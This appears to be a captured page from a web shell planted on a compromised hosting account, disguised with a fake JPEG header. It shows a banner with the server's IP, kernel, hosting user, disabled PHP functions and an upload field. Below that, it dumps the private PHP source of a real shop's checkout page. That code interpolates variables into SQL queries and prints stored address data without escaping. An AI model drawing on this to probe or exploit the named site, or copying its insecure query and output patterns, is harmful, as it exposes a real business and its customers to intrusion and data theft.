���� JFIF aewtgwgerwasdasd
Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u939086737/domains/jeevikagaumaa.in/public_html/ |
Upload File : |
<?php session_start(); include './action/config.php'; if (isset($_SESSION['userid'])) { $userid = $_SESSION['userid']; } ?> <!DOCTYPE html> <html lang="en" data-bs-theme="light"> <head> <!--required meta tags--> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!--meta--> <meta name="description" content=""> <meta name="author" content="Jeevika Gaumaa"> <meta name="keywords" content=""> <link rel="icon" href="assets/img/favicon.png" type="image/png" sizes="16x16"> <title><?= $page . ' | ' . $shop['name'] ?></title> <link rel="stylesheet" href="assets/css/main.css"> <style> #spinner { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); z-index: 9999; font-size: 1.5em; color: #000; } </style> </head> <body> <!--main content wrapper start--> <div class="main-wrapper"> <?php include './header.php'; ?> <!--breadcrumb section start--> <div class="gstore-breadcrumb position-relative z-1 overflow-hidden mt--50"> <img src="assets/img/shapes/bg-shape-6.png" alt="bg-shape" class="position-absolute start-0 z--1 w-100 bg-shape"> <img src="assets/img/shapes/pata-xs.svg" alt="pata" class="position-absolute pata-xs z--1 vector-shape"> <img src="assets/img/shapes/onion.png" alt="onion" class="position-absolute z--1 onion start-0 top-0 vector-shape"> <img src="assets/img/shapes/frame-circle.svg" alt="frame circle" class="position-absolute z--1 frame-circle vector-shape"> <img src="assets/img/shapes/leaf.svg" alt="leaf" class="position-absolute z--1 leaf vector-shape"> <img src="assets/img/shapes/garlic-white.png" alt="garlic" class="position-absolute z--1 garlic vector-shape"> <img src="assets/img/shapes/roll-1.png" alt="roll" class="position-absolute z--1 roll vector-shape"> <img src="assets/img/shapes/roll-2.png" alt="roll" class="position-absolute z--1 roll-2 vector-shape"> <img src="assets/img/shapes/pata-xs.svg" alt="roll" class="position-absolute z--1 pata-xs-2 vector-shape"> <img src="assets/img/shapes/tomato-half.svg" alt="tomato" class="position-absolute z--1 tomato-half vector-shape"> <img src="assets/img/shapes/tomato-slice.svg" alt="tomato" class="position-absolute z--1 tomato-slice vector-shape"> <img src="assets/img/shapes/cauliflower.png" alt="tomato" class="position-absolute z--1 cauliflower vector-shape"> <img src="assets/img/shapes/leaf-gray.png" alt="tomato" class="position-absolute z--1 leaf-gray vector-shape"> <div class="container"> <div class="row"> <div class="col-12"> <div class="breadcrumb-content"> <h2 class="mb-2 text-center">Checkout</h2> <nav> <ol class="breadcrumb justify-content-center"> <li class="breadcrumb-item fw-bold" aria-current="page"><a href="./">Home</a></li> <li class="breadcrumb-item fw-bold" aria-current="page">Cart</li> <li class="breadcrumb-item fw-bold" aria-current="page">Checkout</li> </ol> </nav> </div> </div> </div> </div> </div> <!--breadcrumb section end--> <!--checkout section start--> <div class="checkout-section"> <div class="container"> <?php if (isset($_SESSION['userid'])) { ?> <div class="faq-right mb-10"> <div class="accordion faq-accordion" id="faq-accordion"> <div class="accordion-item"> <div class="accordion-header"> <a href="#acc-2" data-bs-toggle="collapse" class="collapsed">Click here to use your wallet balance.<i class="fas fa-angle-down float-end ms-1"></i></a> </div> <div class="accordion-collapse collapse" id="acc-2" data-bs-parent="#faq-accordion"> <div class="accordion-body"> <form method="post"> <p> Your Wallet Balance: <i class="fas fa-inr"></i> <?php $qry8 = mysqli_query($con, "SELECT * FROM `user_wallet` WHERE userid='$userid'"); $r8 = mysqli_fetch_array($qry8); echo $r8['wallet_bal']; $subtotal = $_SESSION['cart_subtotal']; $max_use_wallet_bal = $subtotal / 4; if (isset($_SESSION['wallet_bal'])) { if ($_SESSION['wallet_bal'] > $max_use_wallet_bal) { unset($_SESSION['wallet_bal']); echo '<script>alert("Again Use Wallet Balance."); location.href="";</script> '; } } ?> <input type="hidden" name="total_wallet_bal" id="total_wallet_bal" value="<?= $r8['wallet_bal'] ?>"> <input type="hidden" name="max_use_wallet_bal" value="<?= $max_use_wallet_bal ?>"> </p> <input type="text" class="theme-input" name="use_bal" id="use_bal" placeholder="Enter Amount Max. <?= $max_use_wallet_bal ?> "> <button type="submit" name="use_wallet" class="btn btn-primary use_wallet">Apply</button> </form> </div> </div> </div> </div> </div> <?php } ?> <div class="row g-4"> <div class="col-xl-8"> <div class="checkout-steps"> <div class="d-flex justify-content-between"> <h4 class="mb-5">Shipment Address</h4> <?php if (isset($_SESSION['userid'])) { $userid = $_SESSION['userid']; ?> <a href="#" data-bs-toggle="modal" data-bs-target="#addAddressModal" class="fw-semibold"><i class="fas fa-plus me-1"></i> Add Address</a> <?php } ?> </div> <div class="row g-4"> <?php if (isset($_SESSION['userid'])) { $qa1 = mysqli_query($con, "SELECT * FROM `user_address` WHERE userid='$userid' AND status=1 ORDER BY `id` DESC "); $i = 1; while ($ra = mysqli_fetch_array($qa1)) { ?> <div class="col-lg-4 col-sm-4"> <div class="tt-address-content"> <input type="radio" class="tt-custom-radio" name="address" value="<?= $ra['id'] ?>" id="address-<?= $i ?>" <?= $i == 1 ? 'checked' : '' ?>> <label for="address-<?= $i ?>" class="tt-address-info bg-white rounded p-4 position-relative"> <address class="fs-sm mb-0"> <strong><?= $ra['name'] ?></strong> <?= $ra['address'] ?> <br> <?= $ra['landmark'] ?> <br> <?= $ra['city'] . ', ' . $ra['state'] . ' - ' . $ra['pin'] ?><br> Mobile: <?= $ra['phone'] ?> </address> <a href="my-account?add_id=<?= base64_encode($ra['id']) ?>" class="tt-edit-address checkout-radio-link position-absolute">Edit</a> </label> </div> </div> <?php $i++; } } else { ?> <a href="./login?returnpath=<?= strtolower($page) ?>" class="btn btn-secondary btn-md mt-6 w-100">Please Login First</a> <?php } ?> </div> </div> </div> <div class="col-xl-4"> <div class="checkout-sidebar"> <div class="sidebar-widget checkout-sidebar py-6 px-4 bg-white rounded-2"> <div class="widget-title d-flex"> <h5 class="mb-0 flex-shrink-0">Order Summary</h5> <span class="hr-line w-100 position-relative d-block align-self-end ms-1"></span> </div> <table class="sidebar-table w-100 mt-5"> <tr> <td>Items(<span id="item-count">0</span>):</td> <td class="text-end"><i class="fa fa-inr fa-xs"></i> <span id="cart-total">0.00</span></td> </tr> <tr> <td>Shipping & handling:</td> <td class="text-end"><i class="fa fa-inr fa-xs"></i> <span id="shipping-cost">0.00</span></td> </tr> <tr> <td>Subtotal</td> <td class="text-end"><i class="fa fa-inr fa-xs"></i> <span id="subtotal">0.00</span></td> </tr> <?php if (isset($_SESSION['wallet_bal'])) { ?> <tr> <td>Used Wallet Balance(-)</td> <td class="text-end"><i class="fa fa-inr fa-xs"></i> <?= $_SESSION['wallet_bal'] . '.00' ?></td> </tr> <?php } ?> </table> <span class="sidebar-spacer d-block my-4 opacity-50"></span> <div class="d-flex align-items-center justify-content-between"> <h6 class="mb-0 fs-md">Final Amount</h6> <h6 class="mb-0 fs-md"><i class="fa fa-inr fa-xs"></i> <span id="final-amount">0.00</span></h6> </div> <?php if (!isset($_SESSION['userid'])) { ?> <a href="./login?returnpath=<?= strtolower($page) ?>" class="btn btn-secondary btn-md mt-6 w-100">Please Login First</a> <?php } else { ?> <!--<img src="./assets/img/shushma-gupta-qr-code.jpeg" alt="payment" width="100%">--> <center><img src="./jivan-darpan-welfare-association/new-qr.jpeg" style="height: 250px; width: auto; "></center> <button type="submit" id="place-order-button" class="btn btn-primary btn-md rounded mt-6 w-100">Pay & Place Order</button> <?php } ?> <div id="spinner" style="display: none;"><img src="./assets/img/loading.gif" alt="loading"></div> </div> </div> </div> </div> <div class="modal fade" id="addAddressModal"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-body"> <button type="button" class="btn-close float-end" data-bs-dismiss="modal" aria-label="Close"></button> <div class="gstore-product-quick-view bg-white rounded-3 py-6 px-4"> <h2 class="modal-title fs-5 mb-3">Add New Address</h2> <div class="row align-items-center g-4 mt-3"> <form method="post"> <div class="row g-4"> <div class="col-sm-12"> <div class="label-input-field"> <label>Name</label> <input type="text" name="name" placeholder="Enter Name*" required> </div> </div> <div class="col-sm-12"> <div class="label-input-field"> <label>Street Address</label> <input type="text" name="address" id="notice" placeholder="House number and street name*" required> </div> </div> <div class="col-sm-12"> <div class="label-input-field"> <label>Landmark</label> <input type="text" name="landmark" id="notice2" placeholder="Apartment, suite, unit etc. (optional)"> </div> </div> <div class="col-sm-12"> <div class="label-input-field"> <label>Mobile</label> <input type="tel" name="phone" placeholder="Phone Number*" maxlength="10" required> </div> </div> <div class="col-sm-4"> <div class="label-input-field"> <label>City</label> <input type="text" name="city" placeholder="City*" required> </div> </div> <div class="col-sm-4"> <div class="label-input-field"> <label>State</label> <input type="text" name="state" placeholder="State*" required> </div> </div> <div class="col-sm-4"> <div class="label-input-field"> <label>Zip Code</label> <input type="text" name="pin" placeholder="Pin*" maxlength="6" required> </div> </div> </div> <div class="mt-6 d-flex"> <button type="submit" name="add_new_address" class="btn btn-primary" style="width:100%;">Save Address</button> </div> </form> </div> </div> </div> </div> </div> </div> </div> </div> <!--checkout section end--> <?php include './footer.php'; ?> <script> document.addEventListener('DOMContentLoaded', function() { const bestDealProducts = <?php echo json_encode($best_deal_products); ?>; const productDetails = <?php echo json_encode($product_details); ?>; const baseShippingCost = 150; // Base shipping cost for up to 2kg const additionalShippingCostPerKg = 0; // Additional shipping cost per kg function calculateShippingCost(totalWeight) { if (totalWeight <= 2000) { // Weight up to 2kg (2000 grams) return baseShippingCost; } else { const additionalWeight = totalWeight - 2000; const additionalCost = Math.ceil(additionalWeight / 1000) * additionalShippingCostPerKg; return baseShippingCost + additionalCost; } } function getCart() { return JSON.parse(localStorage.getItem('cart')) || {}; } function calculateCartValues() { const cart = getCart(); let cartTotal = 0; let itemCount = 0; let totalWeight = 0; Object.values(cart).forEach(item => { cartTotal += item.price * item.quantity; itemCount += item.quantity; const itemDetails = productDetails[item.id]; totalWeight += itemDetails.qty2 * item.quantity; }); const shippingCost = calculateShippingCost(totalWeight); const walletBalance = parseFloat('<?php echo isset($_SESSION['wallet_bal']) ? $_SESSION['wallet_bal'] : 0; ?>'); const subtotal = cartTotal + shippingCost; const finalAmount = subtotal - walletBalance; document.getElementById('item-count').innerText = itemCount; document.getElementById('cart-total').innerText = cartTotal.toFixed(2); document.getElementById('shipping-cost').innerText = shippingCost.toFixed(2); document.getElementById('subtotal').innerText = subtotal.toFixed(2); document.getElementById('final-amount').innerText = finalAmount.toFixed(2); return { cartTotal, shippingCost, finalAmount }; } function togglePlaceOrderButton() { const cart = getCart(); const placeOrderButton = document.getElementById('place-order-button'); if (Object.keys(cart).length === 0) { placeOrderButton.style.display = 'none'; } else { placeOrderButton.style.display = 'block'; } } document.getElementById('place-order-button').addEventListener('click', function(event) { event.preventDefault(); // Prevent default form submission document.getElementById('spinner').style.display = 'block'; const cartValues = calculateCartValues(); const address = document.querySelector('input[name="address"]:checked').value; const formData = new FormData(); formData.append('address', address); formData.append('cartTotal', cartValues.cartTotal); formData.append('shipping_cost', cartValues.shippingCost); formData.append('final_amount', cartValues.finalAmount); fetch('checkout_process.php', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { document.getElementById('spinner').style.display = 'block'; if (data.success) { window.location.href = data.paymentUrl; } else { console.error('Error:', data.message); } }) .catch(error => { // Hide the spinner document.getElementById('spinner').style.display = 'none'; console.error('Error:', error); }); }); function checkCheckoutEligibility() { const cart = getCart(); let containsBestDeal = false; let cartValue = 0; Object.values(cart).forEach(item => { const itemPrice = bestDealProducts[item.id] ? bestDealProducts[item.id].deal_price : item.price; cartValue += item.price * item.quantity; if (bestDealProducts[item.id]) { containsBestDeal = true; } }); const placeOrderButton = document.getElementById('place-order-button'); if (containsBestDeal && cartValue < 10) { // ye old wala hai placeOrderButton.style.display = 'none'; alert('Your cart total must be at least ₹10 to checkout when a best deal product is included.'); } else { placeOrderButton.style.display = 'block'; } } calculateCartValues(); togglePlaceOrderButton(); checkCheckoutEligibility(); }); </script> </body> </html>